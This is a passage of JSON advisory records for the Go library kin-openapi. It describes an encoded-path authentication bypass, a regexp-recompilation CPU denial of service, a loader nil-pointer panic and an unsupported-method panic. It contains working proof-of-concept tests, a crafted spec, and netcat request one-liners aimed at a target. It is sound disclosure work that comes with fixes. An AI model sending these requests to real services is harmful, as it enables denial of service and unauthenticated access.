decision and the component dispatching the\nhandler can therefore disagree about the selected operation.\n\n## Reproduction\n\nThe attached PoC uses a real `net/http` server, an explicit API-key callback that\nrejects missing credentials, and a downstream gorilla/mux router with\n`UseEncodedPath()`.\n\nFrom a kin-openapi checkout, copy the self-contained attachment\n`encoded_path_route_confusion_test.go.txt` into `openapi3filter/` as\n`encoded_path_route_confusion_test.go`, then run:\n\n```sh\ngo test -v ./openapi3filter -run '^TestEncodedPathAuthorizationBypass$' -count=1\n```\n\nExpected attack observation:\n\n```text\nstatus=202 downstream_route=/{id} protected_id=public%2Fstatus authentication_calls=0\nwiring=Router.Use status=202 downstream_route=/{id} protected_id=public%2Fstatus authentication_calls=0\n```\n\nControls included in the test show that:\n\n- `/ordinary` selects the protected operation, invokes authentication once, and is\n  rejected with HTTP 401;\n- `/public/status` reaches only the intentionally public handler;\n- the encoded request reaches the protected `/{id}` handler with HTTP 202 while the\n  authentication callback remains uncalled;\n- both external wrapping and the documented\n  `router.Use(validationHandler.Middleware)` wiring reproduce the same result.\n\n## Reverse-proxy reachability\n\nThe same request was reproduced through Nginx 1.31.3 using the official\n`nginx:alpine` image digest\n`sha256:4a73073bd557c65b759505da037898b61f1be6cbcc3c2c3aeac22d2a470c1752`.\n\nThe exact container invocation was:\n\n```sh\ndocker run --rm --name kin-openapi-nginx \\\n  --add-host=host.docker.internal:host-gateway \\\n  -p 18081:8080 -p 18082:8081 \\\n  -v \"$PWD/poc/nginx.conf:/etc/nginx/nginx.conf:ro\" \\\n  nginx:alpine\n```\n\nContainer port 8080 uses `proxy_pass http://host.docker.internal:18080;` without a\nreplacement URI. Host port 18081 therefore preserved `/public%2Fstatus`; the protected\nhandler returned HTTP 202 and the\nauthentication callback remained at zero calls. With\n`proxy_pass http://host.docker.internal:18080/;` on container port 8081 / host port\n18082, Nginx canonicalized the upstream URI; both layers selected `/public/status` and\nthe bypass did not occur.\n\nNginx access-log observations:\n\n```text\nserver_port=8080 \"GET /public%2Fstatus HTTP/1.1\" 202 0 \"curl/8.7.1\"\nserver_port=8081 \"GET /public%2Fstatus HTTP/1.1\" 204 0 \"curl/8.7.1\"\nserver_port=8080 \"GET /ordinary HTTP/1.1\" 401 0 \"curl/8.7.1\"\n```\n\nThe response route headers were `X-Poc-Route: /{id}` on the preserving listener and\n`X-Poc-Route: /public/status` on the canonicalizing listener. Backend observations for\nthe two requests were:\n\n```text\nrequest_uri=\"/public%2Fstatus\" path=\"/public/status\" raw_path=\"/public%2Fstatus\" auth_before=0\ncompleted request_uri=\"/public%2Fstatus\" auth_after=0\nrequest_uri=\"/public/status\" path=\"/public/status\" raw_path=\"\" auth_before=0\ncompleted request_uri=\"/public/status\" auth_after=0\n```\n\nThis control shows that upstream path handling is a deployment precondition rather\nthan claiming that every proxy configuration is affected.\n\nThe canonical protected control produced:\n\n```text\nrequest_uri=\"/ordinary\" path=\"/ordinary\" raw_path=\"\" auth_before=0\ncompleted request_uri=\"/ordinary\" auth_after=1\n```\n\n## Suggested remediation\n\nThe authentication layer and downstream dispatcher must select the same OpenAPI\noperation from the same request representation.\n\nPotential approaches:\n\n1. make `ValidationHandler` accept a caller-supplied `routers.Router` and require it to\n   match downstream routing semantics;\n2. document that `NewValidator` already accepts a router but is safe only when the\n   supplied router selects operations using the same semantics as the dispatcher;\n   callers must also supply an `AuthenticationFunc` through `ValidationOptions`, or\n   protected requests fail with the existing missing-authentication-service error;\n3. as an interim hardening option, make `ValidationHandler` fail closed on an encoded\n   path separator when `URL.Path` and `URL.RawPath` can select different operations,\n   and verify this behavior against the full suite;\n4. document the route-identity requirement and add encoded-separator regression tests.\n\nReplacing the legacy router with the kin-openapi gorilla router closes this PoC, but a\nlocal compatibility check changed two existing missing-path-parameter tests from HTTP\n400 semantics to route-not-found HTTP 404 semantics. A direct router swap is therefore\nnot a fully validated drop-in fix.\n\n## Public-reference triage\n\nThe public advisory list and related path-encoding reports reviewed on 2026-08-18 did\nnot describe this authentication-boundary crossing. Relevant nearby reports include\nissues #397, #1089, and #1105 and PR #400. This search is not proof of novelty; please\ndeduplicate against private reports.\n\n## Credit\n\nPreferred credit: Satoru Kanno (GMO CONNECT Inc., GMO Internet Group, Inc.)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-15T20:19:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-23vg-4cjm-66q5","https://nvd.nist.gov/vuln/detail/CVE-2026-100351","https://github.com/getkin/kin-openapi/commit/eda80e2676e9f577ceed2dd80e64f16083edb041","https://github.com/getkin/kin-openapi/releases/tag/v0.147.0","https://github.com/advisories/GHSA-23vg-4cjm-66q5"],"source_kind":"github","identifiers":["GHSA-23vg-4cjm-66q5","CVE-2026-100351"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-15T21:00:10.858Z","updated_at":"2026-10-18T20:00:30.640Z","epss_percentage":0.00488,"epss_percentile":0.40635,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yM3ZnLTRjam0tNjZxNc4AB9XZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yM3ZnLTRjam0tNjZxNc4AB9XZ","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.147.0","vulnerable_version_range":"\u003e= 0.144.0, \u003c 0.147.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yM3ZnLTRjam0tNjZxNc4AB9XZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNHI1LW14djUtOG1qY84AB9XW","url":"https://github.com/advisories/GHSA-h4r5-mxv5-8mjc","title":"kin-openapi deepObject query decoding repeatedly compiles an invariant regular expression","description":"### Summary\n\n`openapi3filter` decodes `deepObject`-style query parameters by looping over **every** key in the request's query string. Inside that loop it recompiles a **loop-invariant** regular expression on every iteration. The pattern depends only on the spec-defined parameter name, not on the loop variable, so it is compiled `N` times for `N` query keys instead of once. Because the number of query keys is attacker-controlled and unbounded, a single request with many junk query keys forces a proportional number of `regexp.MustCompile` calls, consuming CPU. A handful of concurrent requests can saturate all cores — an uncontrolled-resource-consumption denial of service.\n\nThis is **not** ReDoS: the pattern is fixed (`^\u003cparam\u003e\\[`) and matches in linear time. The cost is the **repeated compilation** of an invariant regexp, once per attacker-supplied query key.\n\n### Details\n\nIn `openapi3filter/req_resp_decoder.go`, the `deepObject` branch of `urlValuesDecoder.DecodeObject` builds a per-parameter property map by iterating over all query keys:\n\n```go\ncase \"deepObject\":\n    propsFn = func(params url.Values) (map[string]string, error) {\n        props := make(map[string]string)\n        for key, values := range params {                                            // req_resp_decoder.go:689\n            if !regexp.MustCompile(fmt.Sprintf(`^%s\\[`, regexp.QuoteMeta(param))).MatchString(key) { // :690\n                continue\n            }\n            matches := deepObjectBracketRE.FindAllStringSubmatch(key, -1)\n            ...\n        }\n        ...\n    }\n```\n\nThe regexp built at `req_resp_decoder.go:690` depends only on `param` — the parameter name defined in the OpenAPI spec — which is **constant** for the whole loop. Yet `regexp.MustCompile(...)` is invoked inside the `for key, values := range params` loop at `req_resp_decoder.go:689`, so it is recompiled once for every key present in the query string.\n\nContrast this with the already-hoisted, package-level regexp used two lines below:\n\n```go\nvar deepObjectBracketRE = regexp.MustCompile(`\\[(.*?)\\]`) // req_resp_decoder.go:41\n```\n\n`deepObjectBracketRE` is compiled exactly once at package init and reused. The per-parameter pattern at `:690` should be compiled the same way (once, outside the loop), but instead is rebuilt on every iteration.\n\n`regexp.MustCompile` costs on the order of a few microseconds per call. The number of iterations equals the number of query keys `N`, which the client fully controls (a ~1 MB URL holds roughly 100k keys). For each `deepObject` parameter `M` defined on the matched route, the request performs `N × M` compilations. The work is CPU-bound, happens during request validation before any handler logic, and scales linearly with request size, so an attacker converts cheap request bytes into expensive server CPU.\n\nAffected code path: `ValidateRequest` → `ValidateParameter` → `decodeStyledParameter` → `urlValuesDecoder.DecodeObject` (the `deepObject` case). Any operation with at least one `in: query`, `style: deepObject` parameter is exploitable.\n\n### PoC\n\nThe following self-contained test (package `openapi3filter_test`) defines a spec with a single `deepObject` query parameter, then validates two requests that differ only in the number of junk query keys. Decoding time grows with the key count even though none of the junk keys are part of the parameter.\n\nSave as `openapi3filter/advisory_poc_test.go`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst specDeepObjectParam = `\nopenapi: 3.0.0\ninfo: {title: PoC, version: 1.0.0}\npaths:\n  /f:\n    get:\n      parameters:\n        - name: filter\n          in: query\n          style: deepObject\n          explode: true\n          schema: {type: object, properties: {a: {type: string}}}\n      responses:\n        '200': {description: ok}\n`\n\n// TestPoCDeepObjectRegexpCPU demonstrates that decode cost scales with the\n// number of (attacker-controlled) junk query keys because a loop-invariant\n// regexp is recompiled once per key. It logs timings for two key counts and\n// fails if the larger count crosses a clearly-abnormal CPU threshold.\nfunc o(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(specDeepObjectParam))\n\tif err != nil {\n\t\tt.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tt.Fatalf(\"validate: %v\", err)\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tt.Fatalf(\"router: %v\", err)\n\t}\n\n\trun := func(n int) time.Duration {\n\t\tvar sb strings.Builder\n\t\tsb.WriteString(\"/f?filter[a]=x\")\n\t\tfor i := 0; i \u003c n; i++ {\n\t\t\tfmt.Fprintf(\u0026sb, \"\u0026j%d=1\", i)\n\t\t}\n\t\treq, _ := http.NewRequest(http.MethodGet, sb.String(), nil)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"route: %v\", err)\n\t\t}\n\t\tstart := time.Now()\n\t\t_ = openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\treturn time.Since(start)\n\t}\n\n\tsmall := run(2000)\n\tlarge := run(40000)\n\tt.Logf(\"2000 junk keys -\u003e %v ; 40000 junk keys -\u003e %v (cost scales with key count)\", small, large)\n\tif large \u003e 100*time.Millisecond {\n\t\tt.Fatalf(\"VULNERABLE: 40000 junk keys cost %v of CPU for a single request (regexp recompiled per key); scales to full-core saturation\", large)\n\t}\n}\n```\n\nRun:\n\n```\ngo test ./openapi3filter/ -run TestPoCDeepObjectRegexpCPU -v\n```\n\nObserved output on the reference machine (Go 1.25, linux/amd64):\n\n```\n=== RUN   TestPoCDeepObjectRegexpCPU\n    advisory_poc_test.go:71: 2000 junk keys -\u003e 16.542072ms ; 40000 junk keys -\u003e 258.146949ms (cost scales with key count)\n    advisory_poc_test.go:73: VULNERABLE: 40000 junk keys cost 258.146949ms of CPU for a single request (regexp recompiled per key); scales to full-core saturation\n--- FAIL: TestPoCDeepObjectRegexpCPU (0.28s)\nFAIL\nFAIL\tgithub.com/getkin/kin-openapi/openapi3filter\t0.293s\nFAIL\n```\n\nTime grows roughly linearly with the key count (20× more keys → roughly 15× more time), and none of the `j\u003ci\u003e=1` keys belong to the `filter` parameter — they are pure junk whose only effect is to add loop iterations, each of which recompiles the invariant regexp. A URL of about 1 MB (roughly 100k keys) pushes a single request into the 0.6 s range per `deepObject` parameter; a few concurrent such requests saturate every core.\n\n### Benchmark\n\nThe wall-clock PoC above is threshold-based and machine-sensitive. A `testing.B` benchmark built on the same spec (`specDeepObjectParam`) makes the scaling — and the per-request memory blow-up — reproducible and quantitative. It reuses the PoC's spec, router and request-shaping, sweeping the junk-key count and reporting `ns/op`, `B/op`, and `allocs/op`.\n\nSave as `openapi3filter/advisory_poc_bench_test.go` (same package, alongside the PoC):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// BenchmarkDeepObjectJunkKeys measures the per-request validation cost of a\n// deepObject query parameter as the number of attacker-controlled junk query\n// keys grows. Before the fix, cost scales linearly with the key count because a\n// loop-invariant regexp is recompiled once per key; after the fix it is\n// dominated by url-parsing and grows far more gently.\nfunc BenchmarkDeepObjectJunkKeys(b *testing.B) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(specDeepObjectParam))\n\tif err != nil {\n\t\tb.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tb.Fatalf(\"validate: %v\", err)\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tb.Fatalf(\"router: %v\", err)\n\t}\n\n\tfor _, n := range []int{1000, 5000, 20000, 40000, 80000, 100000} {\n\t\tvar sb strings.Builder\n\t\tsb.WriteString(\"/f?filter[a]=x\")\n\t\tfor i := 0; i \u003c n; i++ {\n\t\t\tfmt.Fprintf(\u0026sb, \"\u0026j%d=1\", i)\n\t\t}\n\t\ttarget := sb.String()\n\n\t\tb.Run(fmt.Sprintf(\"keys=%d\", n), func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor i := 0; i \u003c b.N; i++ {\n\t\t\t\treq, _ := http.NewRequest(http.MethodGet, target, nil)\n\t\t\t\troute, pathParams, err := router.FindRoute(req)\n\t\t\t\tif err != nil {\n\t\t\t\t\tb.Fatalf(\"route: %v\", err)\n\t\t\t\t}\n\t\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n```\n\nRun:\n\n```\ngo test ./openapi3filter/ -run '^$' -bench BenchmarkDeepObjectJunkKeys -benchmem -benchtime=2s\n```\n\nResults on the vulnerable code (Go 1.25, darwin/arm64, Apple M4 Pro):\n\n| junk keys | ns/op | B/op | allocs/op |\n|----------:|------------:|-------------:|------------:|\n|     1,000 |   1,355,966 |   3,853,606 |     48,114 |\n|     5,000 |   7,833,901 |  18,975,316 |    240,221 |\n|    20,000 |  33,701,124 |  75,748,660 |    960,562 |\n|    40,000 |  63,365,171 | 151,394,478 |  1,920,786 |\n|    80,000 | 117,388,579 | 302,663,170 |  3,841,109 |\n|   100,000 | 147,468,311 | 375,159,565 |  4,801,189 |\n\nThe benchmark quantifies the report along two axes the single-shot PoC only hinted at:\n\n- **CPU scales cleanly linearly, with no self-limiting plateau.** Every metric grows in near-exact proportion to the junk-key count across two orders of magnitude: CPU, bytes and allocations all rise ~100× from 1k to 100k keys. At 100k keys a single request burns ~147 ms of CPU **before any handler runs**, and the cost does not taper off — an attacker gets full linear return on each additional junk byte, with the only ceiling being the request-size limit the server chooses to impose (if any).\n- **The recompilation dominates allocations, not just CPU.** Each junk key both compiles a throwaway `*regexp.Regexp` and allocates its compiled program as garbage: the vulnerable path costs a steady **~48 allocations and ~3.75 KB per junk key** (375 MB and 4.8M allocations at 100k keys). So the same root cause drives both CPU exhaustion and heavy GC/allocator pressure — which is why this mechanism, while distinct from the adjacent memory-exhaustion advisory, also inflates memory traffic.\n\n### Impact\n\nUncontrolled CPU consumption (denial of service). Any service that uses `openapi3filter.ValidateRequest` (directly or via a router) to validate requests against a spec containing at least one `in: query`, `style: deepObject` parameter is affected. An unauthenticated attacker who can reach such an endpoint can send requests with large numbers of junk query keys; each request performs a number of `regexp.MustCompile` calls proportional to the request's query-key count times the number of `deepObject` parameters on the route. Because the work is CPU-bound and executed during validation (before any application handler runs), modest request rates can starve the process of CPU and degrade or deny service to legitimate clients. There is no impact to confidentiality or integrity.\n\n### Remediation\n\nHoist the invariant regexp out of the per-key loop: compile the `^\u003cparam\u003e\\[` pattern once per `deepObject` parameter (before iterating the query keys) and reuse the compiled `*regexp.Regexp` for every key — mirroring how the package-level `deepObjectBracketRE` (`req_resp_decoder.go:41`) is already handled. This makes decode cost independent of the junk-key count. Matching semantics are unchanged (the pattern still derives from the spec parameter name via `regexp.QuoteMeta`, so it stays panic-safe for any name), and `*regexp.Regexp` is safe for the reuse.\n\nAs a mitigation before upgrading, front affected endpoints with a limit on request/URL size or query-key count (e.g. at a reverse proxy or middleware), which bounds the number of loop iterations an attacker can force.\n\n### Notes\n\n- **Advisory relationship:** Novel. Adjacent to previously reported memory-exhaustion issue in `deepObject` decoding (via `sliceMapToSlice`), but this is a distinct CPU-exhaustion mechanism — repeated compilation of a loop-invariant regexp, once per attacker-supplied query key — not covered by that earlier memory-focused advisory.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-15T20:18:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-h4r5-mxv5-8mjc","https://nvd.nist.gov/vuln/detail/CVE-2026-100350","https://github.com/getkin/kin-openapi/commit/d090e36b2f1c42c898ba2a687a8f6e25f5ca727f","https://github.com/getkin/kin-openapi/releases/tag/v0.146.0","https://github.com/advisories/GHSA-h4r5-mxv5-8mjc"],"source_kind":"github","identifiers":["GHSA-h4r5-mxv5-8mjc","CVE-2026-100350"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-15T21:00:10.858Z","updated_at":"2026-10-18T20:00:30.642Z","epss_percentage":0.00451,"epss_percentile":0.37748,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNHI1LW14djUtOG1qY84AB9XW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNHI1LW14djUtOG1qY84AB9XW","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.146.0","vulnerable_version_range":"\u003e= 0.145.0, \u003c 0.146.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNHI1LW14djUtOG1qY84AB9XW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1taDd4LWY4d3EtNGpoeM4AB9XP","url":"https://github.com/advisories/GHSA-mh7x-f8wq-4jhx","title":"kin-openapi spec loader panics on a self-referential additionalProperties $ref (nil-pointer DoS)","description":"The defect\n----------\nConfirmed at HEAD (f0407d5, v0.144.0). openapi3/loader.go, inside resolveComponent's drill closure (around line 455), the case *SchemaRef branch for pathPart == \"additionalProperties\" dereferences c.Value.AdditionalProperties with no nil-check on c.Value:\n\n    case *SchemaRef:\n        if pathPart == \"additionalProperties\" {\n            if ap := c.Value.AdditionalProperties.Has; ap != nil {   // c.Value can be nil here\n                cursor = *ap\n            } else {\n                cursor = c.Value.AdditionalProperties.Schema\n            }\n            attempted = true\n        }\n\nWhen a $ref fragment drills through .../additionalProperties of a schema whose Value is still nil (a pure, not-yet-resolved $ref, or a self-reference resolved before its own Value is set), c.Value is nil and the .AdditionalProperties access panics.\n\nInput and attacker\n-------------------\nA tiny crafted OpenAPI document, one schema, no external refs, no network:\n\n    openapi: 3.0.3\n    info: {title: t, version: \"1.0.0\"}\n    paths: {}\n    components:\n      schemas:\n        A:\n          $ref: '#/components/schemas/A/additionalProperties'\n\nAttacker model: any service or tool that loads an untrusted spec via the default openapi3.Loader (LoadFromData / LoadFromFile / LoadFromURI), e.g. a spec registry, an API-management platform ingesting user specs, a linter, or a converter. It crashes during LOAD (ResolveRefsIn), before Validate.\n\nVerification level\n------------------\nEXECUTED with negative controls (agent-run go test at HEAD f0407d5, including yesterday's security merge; the bug is still present). The full stack pins LoadFromData:196 -\u003e ResolveRefsIn:274 -\u003e resolveSchemaRef:1048 -\u003e resolveComponent:485 -\u003e drill:439 -\u003e :455, propagating to main(); no recover() in loader.go/schema.go (grep + trace). Two negative controls stay clean: drilling additionalProperties of a resolved schema loads fine (the existing TestIssue376 happy path), and a normal recursive schema loads fine, so the nil Value is specifically the cause. I independently re-confirmed at HEAD that loader.go:455 dereferences c.Value.AdditionalProperties with no nil-check on c.Value. NOT verified: I did not enumerate every consumer's recover posture.\n\nSuggested fix\n-------------\nAdd if c.Value == nil { break } (fall through to the nil-safe drillIntoField) before touching c.Value.AdditionalProperties. One line.\n\nAlso cleared (stated, not claimed)\n----------------------------------\nThe allOf/anyOf $ref diamond does not blow up: Schema.validate threads its stack through the return and never pops it, acting as a global pointer-keyed visited-set (executed N=10..30, microseconds). External-ref SSRF/path-traversal is blocked by default (IsExternalRefsAllowed=false); the known custom-ReadFromURIFunc bypass is the already-banked downstream oasdiff item.\n\nAdvisory-source note\n--------------------\nFive-source enumeration: every kin-openapi advisory (CVE-2025-30153 plus the five fresh July-2026 GHSAs) is in openapi3filter (request validation); this finding is in the openapi3 loader, untouched by that systematic reporter and flagged un-analyzed by the prior oasdiff scout. Not contested on the loader surface as of today (a systematic hunter could pivot, so it decays; submit reasonably promptly).\n\nDedup\n-----\nDedup gate clean: no kin-openapi loader verdict in COVERED-INDEX, DISCLOSURE-INDEX or SCOUT-EXCLUDE (the one DISCLOSURE-INDEX hit is report #313, the downstream oasdiff, a different repo/lane).\n\nTooling\n-------\nAI assistance was used while investigating. The panic is executed-verified with negative controls (a one-schema self-referential additionalProperties $ref crashes LoadFromData while a resolved additionalProperties and a normal recursive schema load fine), and I confirmed at HEAD that loader.go:455 dereferences c.Value.AdditionalProperties with no nil-check on c.Value, on a load path with no recover.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-15T20:15:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-mh7x-f8wq-4jhx","https://nvd.nist.gov/vuln/detail/CVE-2026-100348","https://github.com/getkin/kin-openapi/commit/88aa64c7cbd03ecadbb419c473bdcaa8b0124c6b","https://github.com/getkin/kin-openapi/releases/tag/v0.145.0","https://github.com/advisories/GHSA-mh7x-f8wq-4jhx"],"source_kind":"github","identifiers":["GHSA-mh7x-f8wq-4jhx","CVE-2026-100348"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-15T21:00:10.858Z","updated_at":"2026-10-18T20:00:30.661Z","epss_percentage":0.00372,"epss_percentile":0.29536,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1taDd4LWY4d3EtNGpoeM4AB9XP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1taDd4LWY4d3EtNGpoeM4AB9XP","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.145.0","vulnerable_version_range":"\u003c= 0.144.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1taDd4LWY4d3EtNGpoeM4AB9XP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1maDRmLTQ3bWYtZjJnas4AB9XO","url":"https://github.com/advisories/GHSA-fh4f-47mf-f2gj","title":"kin-openapi: Unauthenticated panic (DoS) in openapi3filter legacy router via non-canonical/unsupported HTTP method on a static path","description":"## Summary\nThe `openapi3filter.ValidationHandler` (the exported, documented request-validation middleware) hard-wires the legacy router (`routers/legacy`). That router matches the incoming request method verbatim against a trie built exclusively from upper-cased canonical HTTP methods. A request carrying a method token that is not one of the 9 standard methods — a legitimate-but-unsupported token such as `PROPFIND`, or a non-canonical case variant such as lowercase `get` — misses the trie, leaves `route == nil`, and for an existing **static** path falls through to `PathItem.GetOperation(method)`, whose `default:` case calls `panic(...)`. The panic fires inside route resolution, **before any authentication** runs. This is an unauthenticated, remotely triggerable denial of service (recovered per-connection panic + unbounded error-log growth).\n\n## Root Cause\n- `openapi3filter/validation_handler.go:39` — `ValidationHandler.Load()` always constructs `legacyrouter.NewRouter(doc)`; there is no alternative router option on this path.\n- `routers/legacy/router.go:109` — the request method is used verbatim (`method, url := req.Method, ...`); there is no canonicalization or rejection of unknown method tokens.\n- `routers/legacy/router.go:69-70` — the trie is populated with `strings.ToUpper(method)` keys taken from `pathItem.Operations()` (canonical `http.Method*` constants only).\n- `routers/legacy/router.go:141` — `root.Match(method + \" \" + remainingPath)` misses for a non-canonical/unsupported method → `route == nil`.\n- `routers/legacy/router.go:146-150` — in the `route == nil` block, `doc.Paths.Value(path)` returns non-nil for an existing static path, and control reaches `pathItem.GetOperation(method)`.\n- `openapi3/path_item.go:174` — `GetOperation`'s `switch method` has no matching case → `default: panic(fmt.Errorf(\"unsupported HTTP method %q\", method))`.\n\n## Impact\nAn unauthenticated attacker sends a single request with a non-standard HTTP method token to any existing static path. The handler goroutine panics; Go's `net/http` recovers the panic per connection (process survives), aborts the connection (client sees a reset / 500), and logs a full stack trace. Repeated requests cause connection churn and unbounded `http: panic serving` log growth, and the request never reaches authentication. Availability impact (A:L) under the default synchronous `ValidationHandler` middleware; on non-net/http hosts or when reached on an application goroutine the ceiling is a full crash.\n\n## Proof of Concept\nServe any spec with a static path (e.g. `/ping`) behind `openapi3filter.ValidationHandler`, then:\n```\nprintf 'PROPFIND /ping HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n' | nc target 8080   # connection aborted (panic)\nprintf 'get /ping HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n'      | nc target 8080   # connection aborted (panic)\nprintf 'GET /ping HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n'      | nc target 8080   # 200 OK (process survived)\n```\nReproduced end-to-end against a real `net/http.Server` + `ValidationHandler`: `PROPFIND /ping` and lowercase `get /ping` both abort the connection with a panic at `path_item.go:174` (stack: `GetOperation` \u003c- `legacy.FindRoute` router.go:150 \u003c- `ValidationHandler.validateRequest` validation_handler.go:84); the process stays alive and subsequent `GET /ping` returns 200.\n\n## Attack Chain\n1. Entry: unauthenticated `PROPFIND /ping HTTP/1.1` (any known static path). Guard: net/http method validation. Bypass proof: net/http accepts any valid HTTP token as a method — `PROPFIND` and lowercase `get` both reach the handler.\n2. Route match: `legacy/router.go:141` `root.Match(\"PROPFIND /ping\")`. Guard: trie match. Bypass proof: trie holds only upper-cased canonical methods → miss → `route == nil`.\n3. `route == nil` block: `router.go:146` `doc.Paths.Value(\"/ping\")` → non-nil for an existing static path (exact map lookup). Guard: `pathItem == nil` check (l.147). Bypass proof: static path exists → not nil → proceeds.\n4. Sink: `router.go:150` `pathItem.GetOperation(\"PROPFIND\")` → `path_item.go:174` `default: panic(...)`.\n5. Impact: handler goroutine panics; net/http recovers per connection; request never reaches auth.\n\n## Bypass Evidence\n- net/http does NOT reject non-standard method tokens — confirmed empirically: `PROPFIND` and lowercase `get` both reached the handler and panicked.\n- No canonicalization/rejection exists between `FindRoute` entry and `GetOperation`; `req.Method` is used verbatim (router.go:109).\n- `git show v0.144.0:openapi3/path_item.go` shows `panic(...)` at line 174; `git show v0.144.0:routers/legacy/router.go` shows verbatim method use and the unguarded `GetOperation` call. `git log v0.144.0..HEAD` on these files is empty (no post-tag fix).\n\n## Scoping Note\nThe panic requires the request path to be an exact static (non-templated) key in the served spec. A concrete path against a `/{id}` template returns a clean 500 (not a panic), because `Paths.Value` is an exact map lookup. Static paths (`/health`, `/login`, `/version`, `/metrics`, `/ping`, `/`) are ubiquitous in real specs and discoverable from public specs/standard endpoints, so a vulnerable target almost always exists. This makes the finding arguably broader than existing panic advisories, as it needs no special spec construct — any static path suffices.\n\n## Affected Versions\n`\u003c= 0.144.0` (present on the latest release tag v0.144.0; long-standing; no patched version).\n\n## Suggested Fix\nIn the legacy router, canonicalize/validate the request method before route resolution and return `ErrMethodNotAllowed`/`ErrPathNotFound` for unknown methods, or make `PathItem.GetOperation` return an error (nil) for unrecognized methods instead of calling `panic`.\n\n---\nReported by **zx (Jace)** — GitHub: 